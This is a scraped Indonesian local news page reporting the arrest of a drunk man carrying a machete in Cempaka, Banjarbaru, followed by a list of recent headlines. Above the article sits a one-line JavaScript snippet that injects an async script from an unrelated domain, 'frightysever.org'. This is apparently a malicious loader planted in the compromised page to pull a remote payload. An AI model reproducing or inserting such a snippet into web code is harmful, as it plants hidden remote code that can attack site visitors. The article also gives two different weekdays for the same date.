(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Mabuk Bawa Parang, Lelaki Ini Digelandang ke Mapolsek Cempaka


KANALKALIMANTAN.COM, BANJARBARU – Kedapatan menyimpan senjata tajam (Sajam) jenis parang, laki-laki Muhajir alias Jijir (31) diamankan personel Polsek Cempaka, Rabu (1/6/2022) malam.

Lelaki ini tercatat sebagai warga Jalan Mistar Cokrokusumo, RT 006 RW 002, Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru.

Kapolsek Cempaka, Ipda Subroto Rindang Arie Setyawan, melalui Kasi Humas Polsek Cempaka, Aipda Hendra Fahmi mengatakan penangkapan lelaki yang cuma tamat SD ini terjadi sekitar pukul 20.00 Wita, Senin (1/6/2022), di Jalan Mujahidin, RT 019 RW 007, Kelurahan Cempaka, Kecamatan Cempaka.

“Pelaku diamankan yang mana saat itu membawa sajam tanpa kumpang di sekitaran Jalan Pasar Ulin-Jalan Mujadin Kelurahan Cempaka sekitar pukul 8 malam,” bebernya, Kamis (2/6/2022).

 

 

Baca juga: Terbitnya SE Penghapusan Honorer: Tidak Ada Pengangkatan PNS dan PPPK, Tetap Ikuti Seleksi!

Penangkapan pelaku, kata Aipda Hendra, berawal dari dua personel Mapolsek Cempaka melakukan patroli. Kemudian, berhasil mengamankan seorang lelaki yang membawa sajam tanpa kumpang sepanjang 63 cm.

“Saat diamankan pelaku dalam keadaan mabuk memasuki pekarangan rumah orang dengan membawa satu buah sajam jenis parang tanpa kumpang, panjangnya kurang lebih 63 cm,” jelasnya.

Diketahui pada saat penangkapan lelaki tersebut dalam keadaan mabuk dari oplosan alkohol.

“Minuman keras yang dikonsumsi pelaku jenis alkohol campuran,” tambahnya.

Aipda Hendra menambahkan, pelaku kini sudah dibawa ke Mapolsek Cempaka untuk penelusuran lebih lanjut.

“Saat ini pelaku beserta barang bukti diamankan dan dibawa ke Mapolsek Cempaka guna proses pemeriksaan lebih lanjut,” bebernya.

Baca juga: Petani di Kalsel Masih Berhajat Pupuk Bersubsidi, Ini Kata Kadis TPH Kalsel

Sementara itu, pelaku dijatuhi Pasal 2 Ayat (1) UU drt No. 12 Tahun 1951, karena membawa senjata penusuk tanpa ijin yang sah.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

4 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

5 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

5 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

6 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

20 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.